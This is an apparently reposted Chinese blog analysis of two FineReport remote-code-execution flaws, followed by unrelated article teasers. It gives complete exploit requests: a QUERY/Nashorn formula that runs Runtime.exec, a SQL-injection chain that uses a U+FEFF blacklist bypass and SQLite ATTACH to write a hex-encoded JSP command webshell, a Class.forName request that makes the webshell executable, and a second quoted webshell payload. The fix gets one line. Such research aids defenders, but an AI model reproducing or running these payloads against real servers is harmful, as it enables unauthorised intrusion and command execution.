帆软报表设计器函数相关问题

news2024/11/29 2:30:57

官方漏洞声明:安全漏洞声明- FineReport帮助文档 - 全面的报表使用教程和学习资料

最近出的两个漏洞,官方已修复,问题有些相似,都是通过设计器函数来构造rce。尤其第二个sql注入造成RCE的漏洞还是挺有意思的,记录一下。

evaluate_formula RCE漏洞

漏洞定位fine-report-engine-10.0.jar中的EvaluateFormulaAction类。获取expression参数值

evalValue最终调用到如下方法

FunctionCall对应的是设计器函数,查看官方文档:设计器函数汇总- FineReport帮助文档 - 全面的报表使用教程和学习资料

大部分设计器函数FunctionCall都实现自抽象类AbstractFunction。AbstractFunction有诸多实现类,列表如上面官方文档所示。

evalExpression()最终调用AbstractFunction实现类的run方法。

JVM

网上常见的poc调用的是AbstractFunction实现类JVM。其run方法如下,会泄漏环境信息。

return "Jar build time: " + var2 + "\nHome: " + System.getProperty("java.home") + "\nVersion: " + System.getProperty("java.version") + "\nUser home: " + ProductConstants.getEnvHome() + "\nEnv path : " + FRContext.getCurrentEnv().getPath();
QUERY

在10版本(也许是新一点的10版本)引入了QUERY设计器函数,对应的类代码如下。

方法接收两个参数,第二个参数会执行运算。这里需要注意的是J2V8Utils.SUPPORT_J2V8,如果支持J2V8 ,由com.eclipsesource.v8来执行脚本,如果不支持J2V8由Nashorn来执行脚本。而后者是可以实现RCE的。示例如下。

但是实际测试的时候,发现大多都是进入的com.eclipsesource.v8这个分支,也就是支持J2V8的。

那么什么场景下,才能不支持J2V8从而让Nashorn执行呢?查看官方文档:

​​​​​​图表导出升级说明- FineReport帮助文档 - 全面的报表使用教程和学习资料

文档中提到:若报表部署在 Linux 环境下,且 JDK 版本在 1.8 以下,则需要加载 J2V8 的 libj2v8_linux_x86_64.so,依赖相应版本的 GCC ,如果 GCC 版本过低,则可能存在J2V8 is not supported. Please update GCC。那么此场景下就不支持J2V8,有可能进行Nashorn攻击。

POST /webroot/ReportServer HTTP/1.1
Host: ip:port
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 145

op=fr_base&cmd=evaluate_formula&expression=QUERY("hello","function(){var x=java.lang.Runtime.getRuntime().exec(\"calc.exe\")}")

所以整体来看这个利用方式存在诸多限制,首先这个QUERY方法需要在10版本以上才有,其次限制系统为linux且GCC版本较低。

/view/ReportServer sql注入RCE漏洞

漏洞定位fine-report-engine-11.0.jar中的ReportRequestCompatibleService类

preview方法,会对传入的参数值进行TemplateUtils.render渲染。跟进render。

evalValue方法同样走到Calculator.eval(),和上面的evaluate_formula后续过程基本一致。


只不过此漏洞的构造攻击者选取了SQL函数。跟进SQL的run方法,根据代码可以看出需要传入三到四个参数。

查看报表函数的说明文档,SQL用法如下。通过sql语句从connectionName(数据库)中获得数据表的第columnIndex列第rowIndex行所对应的元素。

SQL(connectionName,sql,columnIndex,rowIndex)

那么想要执行sql需要获取一个已知的connectionName,全局搜索的到“FRDemo”。

官方示例中给的demo:=sql("FRDemo","SELECT * FROM 销量 ",1,1)

这里需要注意,参数是通过getQueryString传入的,而这个方法只对get方法有效,如果用post的Body传参数接收到的是null。

TemplateUtils.render("${fineServletURL}/view/report?" + var1.getQueryString())
DECODE处理特殊字符

尝试在这个路径下GET传入demo中的sql语句。会显示400,因为tomcat会将空格等特殊字符视作无效字符。

但是如果将空格等内容进行url编码。getQueryString()获取的结果如下(该方法并不会对获取到的参数进行url解码)

axisx=${sql('FRDemo','select%201',1)} 

那么进入到sqlite的sql语句是select%201。会报错Error: near line 1: near "%": syntax error。无法执行sql,所以最后无法返回结果。

而这个漏洞很巧妙的一点,就是从上面提到的那些设计器函数中又找到了一个DECODE函数来完成url解码,解决上述问题。

sqlite rce

帆软默认采用的sqlite数据库,sqlite是嵌入式数据库,每个数据库是一个文件。所以一种RCE的方式是,通过sqlite语句创建一个数据库(相当于新建一个文件),然后在这个数据库中创建一个表来写入数据,也就是文件的内容。语句如下。

ATTACH DATABASE '../webapps/webroot/hack.jsp' as hack
CREATE TABLE hack.exp(data text)
INSERT INTO hack.exp(data) VALUES x'6861636b6564'
sql黑名单处理逻辑

尝试在sql中输入上述语句,会发现没有效果。帆软对数据库操作做了一定的限制。

主要两个方法。1. removeSpecialCharacters()。该方法检查sql查询是否为空,不为空将sql内容转成小写,然后将引号(单引号和双引号)和注释(单行注释--和多行注释/*)中的内容替换为空格。如果遇到特殊字符(如下,均为分隔符或空白符)替换为空格。2. check()。该方法用于检查sql查询中是否包含指定的关键词,如果包含就会抛出SQLException异常,相当于黑名单检查。

private static boolean isSpecialCharacter(char c) {
        return c == ',' || c == '\n' || c == ';' || c == '\t' || c == '\r' || c == '\f' || c == 11;
}

/*
, (逗号): 在 SQL 语句中,逗号用作分隔符,如在 SELECT 语句中分隔列。
\n (换行符): 用于分隔行,在 SQL 语句中通常用于分隔不同的语句。
; (分号): SQL 语句的结尾符,用于标识一个语句的结束。
\t (制表符): 用于分隔字段或对齐文本,在 SQL 语句中通常作为空白字符。
\r (回车符): 与换行符一起使用,用于分隔行,特别是在某些操作系统(如 Windows)中。
\f (换页符): 在 SQL 语句中较少使用,但在某些文本处理中可能用于分隔。
11 (垂直制表符): 类似于换页符,在 SQL 语句中较少使用,主要用于文本中的格式化。
*/

而黑名单keywords中包含了attach、create等字段,如下。

根据上面的removeSpecialCharacters()处理逻辑,如果传入的是字符串“ATTACH 'aaa'”,那么替换后为"ATTACH   "。

黑名单匹配的probed逻辑如下。判断处理后的sql字符串中是否包含关键字,而关键字的前后加入了空格。tmp前后的空格数量只要>=1,黑名单就匹配成功。那么想要绕过黑名单检测,就需要让sql前或后没有空格,或者attach前后还有别的字符。

U+FEFF黑名单绕过

这里的绕过方式还是挺巧妙的,用的U+FEFF。

在sqlite文档中查看U+FEFF的内容

https://android.googlesource.com/platform//external/sqlite/+/d11514d85b96ef33b1a78080246df7df2cf5d9ea/dist/orig/sqlite3.h

这段描述的是SQLite在处理 UTF-16 编码的输入文本时如何确定字节顺序。UTF-16 编码的文本可能以一个字节顺序标记(BOM,U+FEFF)开头,表示字节顺序(即大端序或小端序)。如果文本的开头包含 BOM,SQLite 会读取这个 BOM 来确定字节顺序,然后移除 BOM。如果我们在sql语句最开头加入U+FEFF(U+FEFF 的编码是三个字节:EF BB BF。在HTTP请求中转成UTF-8编码形式%EF%BB%BF),那么在probed时,sql获取到的是" %ef%bb%bfattach ",由于attach前有字符和" attach "无法匹配。从而绕过了黑名单。而在真正sqlite进行数据读取时,它又被当作BOM移除掉了,不影响sql解析。

那么为了绕过黑名单,上述sqlite rce的语句都需要加上这个BOM头。如下。然后再将特殊字符进行url编码,并在语句外围加上DECODE设计器函数解码。

%EF%BB%BFATTACH DATABASE '../webapps/webroot/hack.jsp' as hack
%EF%BB%BFCREATE TABLE hack.exp(data text)
%EF%BB%BFINSERT INTO hack.exp(data) VALUES x'6861636b6564'
POC构造

将带回显的一句话木马,如下,转成16进制,作为sql第三步insert的内容。

 <%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null){
      response.getWriter().println(line);
    }
 %>


构造的poc如下

GET /webroot/decision/view/ReportServer?test=${sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faxisx.jsp%27%20as%20hack%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20hack.exp%28data%20text%29%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20hack.exp%28data%29%20VALUES%20%28x%27203c25a2020202050726f636573732070726f63657373203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293ba20202020496e70757453747265616d20696e70757453747265616d203d2070726f636573732e676574496e70757453747265616d28293ba202020204275666665726564526561646572206275666665726564526561646572203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228696e70757453747265616d29293ba20202020537472696e67206c696e653ba202020207768696c652028286c696e65203d2062756666657265645265616465722e726561644c696e6528292920213d206e756c6c297ba202020202020726573706f6e73652e67657457726974657228292e7072696e746c6e286c696e65293ba202020207da20253e%27%29%3B'),1,1)} HTTP/1.1
Host: 172.16.165.142:8075
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

webroot下成功生成axisx.jsp

尝试访问axisx.jsp,报错500,问题出在jasper上。

解决jsp编译报错

jasper

Jasper是tomcat中使用的JSP引擎,将jsp文件编译成JVM可识别的class文件。Tomcat在默认的web.xml中配置org.apache.jasper.servlet.JspServlet,用于处理.jsp和.jspx后缀的请求。在帆软中查找web.xml的内容,定位C:\FineReport_11.0\server\conf\web.xml。最终jsp会被当成一个servlet来执行。

根据上面jsp访问的报错信息搜索相关文章,在关于编译和运行Tomcat源码的文章中提到。通过Tomcat的启动入口—org.apache.catalina.startup.Bootstrap类访问localhost:8080时出现了类似的报错,原因是JSP解析器没有初始化。也就是JasperInitializer没有执行过。

解决jasper初始化

根据报错java.lang.NullPointerException定位问题点org.apache.jasper.compiler.Validator$ValidateVisitor.<init>。调试时发现JspFactory.getDefaultFactory()是null。所以null再调用后面的方法时就会报错。

看一下JasperInitializer的初始化(static代码块),在这个过程中会判断JspFactory.getDefaultFactory(),如果是null的话,会对其进行赋值。因为帆软启动方式没有进行JasperInitializer初始化,所以造成了上面空指针的问题。

那么问题就变成了如何能够执行JasperInitializer的初始化。Class.forName类加载时会执行static代码块。那么如果能够执行Class.forName("org.apache.jasper.servlet.JasperInitializer"),就可以完成初始化。

然后就有师傅找到了前台接口FileRequestService。其中的getFile方法接收path和type参数。代码中包含明显的classForName。type类型有两种plain和class。type的值为class时进入else。

对path传入的参数值执行Class.forName()。那么想要初始化JasperInitializer,构造poc如下

GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class HTTP/1.1

执行一次该poc,可以成功访问jsp。

木马写入问题

Ps:调试问题时,将断点打在catalina.jar中的ApplicationFilterChain的doFilter方法的如下代码中

catch (ServletException | RuntimeException | IOException var15) { throw var15;}

真正尝试写木马的时候会遇见一些问题,比如我们将如下的木马内容直接转成16进制。然后通过漏洞传入。

<%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null){
      response.getWriter().println(line);
    }
%>

访问jsp会发现抛出异常Syntax error on token "&", invalid AssignmentOperator。查看jsp文件,发现生成了很多脏字符,jsp内容如下

感觉像是换行符带来的脏字符,将jsp中所有的换行符删掉。再次发送payload,这次不再显示Syntax error on token,而是报错InputStream cannot be resolved to a type。

也就是说InputStream 类没有被识别,通常是因为没有导入对应的类。

更改一句话木马,引入需要的库,生成的jsp如下。

<%@ page import="java.io.InputStream, java.io.InputStreamReader, java.io.BufferedReader" %>
<%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null){
      response.getWriter().println(line);
    }
%>

删除所有的换行后,生成16进制串,如下。

3c2540207061676520696d706f72743d226a6176612e696f2e496e70757453747265616d2c206a6176612e696f2e496e70757453747265616d5265616465722c206a6176612e696f2e42756666657265645265616465722220253e3c2550726f636573732070726f63657373203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b496e70757453747265616d20696e70757453747265616d203d2070726f636573732e676574496e70757453747265616d28293b4275666665726564526561646572206275666665726564526561646572203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228696e70757453747265616d29293b537472696e67206c696e653b7768696c652028286c696e65203d2062756666657265645265616465722e726561644c696e6528292920213d206e756c6c297b726573706f6e73652e67657457726974657228292e7072696e746c6e286c696e65293b7d253e

再次发送payload,成功访问一句话木马

所以在漏洞利用时需要注意,木马不能包含换行,且需要引入用到的类。

另外,网上还有一些payload如下。

GET /webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
Host: ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

特点是1. 在模板前加入参数,如n=${sql}  2. 模板中加入${__fr_locale__=sql()}。1的话有没有参数不影响。2的话模板中加入什么作为key都可以,例如${kkk=sql()}。

漏洞修复

修复前,如下

修复后,不再对传入的参数进行模版渲染。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2060060.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

地表最强Ai视频创作工具?Pika保姆级注册使用指南

大家好&#xff01;我是YUAN。 今天&#xff0c;我要带大家探索一个全新的领域——AI视频生成。Pika Labs以其独特的魅力和强大的功能&#xff0c;成为了众多创作者的新宠。准备好了吗&#xff1f;让我们一起探索Pika Labs的无限可能。 一、Pika Labs是什么&#xff1f; Pika …

fl studio24.1.1中文完整版,直接安装激活!免费分享

&#x1f389; FL Studio 24.1.1 中文版本&#xff0c;音乐制作人的福音&#xff01; 嗨&#xff0c;亲爱的音乐制作爱好者们&#xff01;&#x1f44b; 如果你对音乐创作有着无限的热爱&#xff0c;那你绝对不能错过 FL Studio 24.1.1 中文版本这款神器。它不仅是一个音乐制作…

跟着 iLogtail 学习高质量软件建设

作者&#xff1a;余韬 本文根据 iLogtail PMC 成员余韬 2024 年 6 月 26 日在 DBAPlus 社群的公开直播《云上千万级可观测 Agent SRE 实践》整理而成。 引言 近年来&#xff0c;关于可靠性工程这一话题的热议不断升温&#xff0c;这主要归因于当前形势的显著变化。 首先&…

如何备份电脑所有数据?四个方法实现一键备份所有数据

备份电脑所有数据是一个重要的步骤&#xff0c;可以确保在数据丢失或损坏时能够迅速恢复。以下是一些备份电脑所有数据的方法&#xff0c;对于有重要数据的企业来说非常实用。 一、使用外置存储设备 选择设备&#xff1a;首先&#xff0c;选择一个容量足够大的外置存储设备&am…

肿瘤免疫治疗队列转录组及单细胞数据下载-TIGER

目录 转录组数据 ​编辑单细胞数据 TIGER不仅提供了多种在线分析&#xff0c;还提供了多个肿瘤免疫治疗队列转录组及单细胞数据下载。 TIGER:肿瘤免疫治疗&#xff08;转录组单细胞免疫&#xff09;_肿瘤免疫治疗基因表达资源tiger-CSDN博客 转录组数据 TIGER: Tumor Immu…

构建全面的用户增长蓝图

在竞争日益激烈的SaaS市场中&#xff0c;用户增长已成为企业持续繁荣的关键驱动力。为了实现这一目标&#xff0c;企业不仅需要制定高效的用户增长策略&#xff0c;还需要借助先进的工具和技术来加速这一过程。 1. 明确目标市场与用户画像 首先&#xff0c;SaaS企业需要深入了…

PNG转BMP要怎么操作?分享四种不同的转换方案

PNG转BMP要怎么操作&#xff1f;PNG和BMP是两种常见的图像格式&#xff0c;PNG格式以其无损压缩和支持透明度而闻名&#xff0c;而BMP格式则是一种未经压缩的位图格式&#xff0c;常用于操作系统和应用程序内部。有时出于兼容性或特定需求的原因&#xff0c;你可能需要将 PNG 文…

【全网最真实测评】随身WiFi值得入手吗?自费入手华为、中兴、格行、上赞4款随身WiFi,内含国产4款热门随身WiFi推荐!(最实用、最高性价比!)

随身WiFi的风越吹越大&#xff0c;市场乱象也更变本加厉。作为一名资深随身WiFi使用者&#xff0c;接触过太多的随身WiFi产品&#xff0c;越是了解这个行业黑幕&#xff0c;就越对无良商家夸大宣传、虚标限速&#xff0c;甚至售卖二手产品的行为深恶痛绝&#xff01; 本篇测评涉…

搭建高可用的微信小程序服务(Alibaba Cloud Linux 3)

本文介绍如何在阿里云云服务器ECS上基于Alibaba Cloud Linux 3操作系统搭建高可用的微信小程序服务端&#xff0c;并在本地开发一个名为ECS小助手的简单微信小程序。通过远程调用部署在ECS上的服务端&#xff0c;实现在小程序中输入框输入ECS实例ID查询实例详细信息的功能。 步…

Java使用Map+函数式接口实现策略模式

一、项目背景 在项目中&#xff0c;我们处理了各种类型的通知消息。在没有采用策略模式之前&#xff0c;代码中充斥了大量的 if-else 语句&#xff0c;这不仅让整个项目显得杂乱无章&#xff0c;还增加了后续维护的难度。为了解决这一问题&#xff0c;我们采用了 Map 和函数式…

Vue事件处理:v-on 指令

1、v-on 指令 在 Vue.js 中&#xff0c;事件处理是一个很重要的环节&#xff0c;可以使用 v-on 指令对 DOM 事件进行监听。该指令通常在模板中直接使用&#xff0c;在触发事件时执行相应的 JavaScript 代码。在 HTML 元素中使用 v-on 指令时&#xff0c;v-on 后面可以是所有的…

动态内存管理申请调整和释放

动态内存管理存放在内存中的堆区中 动态内存分配的函数&#xff1a;malloc、calloc、realloc、free 动态内存分配 malloc函数&#xff08;内存申请空间&#xff09;无初始化free函数&#xff08;动态内存释放&#xff09;calloc函数&#xff08;内存空间申请&#xff09;初始化…

【MADRL】基于MADRL的单调价值函数分解(QMIX)算法

本篇文章是博主强化学习RL领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对相关等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅解。文章分类在强化学习专栏&#xff1…

30道python自动化测试面试题与答案汇总!

Python是不可或缺的语言,它的优美与简洁令人无法自拔,下面这篇文章主要给大家介绍了关于30道python自动化测试面试题与答案汇总的相关资料,需要的朋友可以参考下 1、什么项目适合做自动化测试&#xff1f; 关键字&#xff1a;不变的、重复的、规范的 1&#xff09;任务测试明…

硬核剧透!安全领域专家及领军人物共话生态标准 | 2024 龙蜥大会=

2024 龙蜥操作系统大会由中国计算机学会开源发展委员会、中关村科学城委员会、海淀区委网信办、中国开源软件推进联盟指导&#xff0c;龙蜥社区主办&#xff0c;阿里云、中兴通讯、Intel、浪潮信息、Arm、中科方德等 24 家理事单位共同承办&#xff0c;主题为“进化重构赴未来”…

别再混淆了!一文带你理清前置机、跳板机与堡垒机的区别

本文详细介绍前置机、跳板机和堡垒机在网络安全和IT基础设施中各自扮演着重要角色&#xff0c;它们虽然有一定的相似性&#xff0c;但在功能和用途上存在显著差异。以下是对三者的详细解析&#xff1a; 前置机 概念 前置机是一种中间设备&#xff0c;通常位于客户端和服务器…

神经网络训练多个epoch,写论文的时候可以取最好的效果那一个epoch作为结果吗?

在论文中&#xff0c;通常建议报告在验证集上表现最佳的模型作为结果。你可以在训练过程中记录每个 epoch 的性能&#xff0c;并选择在验证集上性能最好的那个 epoch 的结果。这种方法能够展示你所训练的模型在其最佳状态下的表现。 这样做有几个优点&#xff1a; 客观展示模…

Linux系统编程(13)IPC(共享内存)和网络通信基础

一、共享内存 共享内存是通过映射的方式在内核中申请一段可以使用的物理内存空间来映射到用户空间中&#xff0c;用户对用户空间的操作就是直接操作物理内存区域。通过这种方式&#xff0c;进程可以直接读写这部分内存&#xff0c;从而实现高效的数据交换。相比于其他 IPC 机制…

vue2子组件生命周期被调用两次

目前解决办法是改成了这种写法&#xff0c;改为这种不会出现加载两次子组件生命周期的问题 <el-tabs v-model"activeName" style"margin: 0px"><el-tab-pane name"systemLogCollection"><span slot"label">{{ tabLi…

[数据集][目标检测]起子检测数据集VOC+YOLO格式1215张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;1215 标注数量(xml文件个数)&#xff1a;1215 标注数量(txt文件个数)&#xff1a;1215 标注…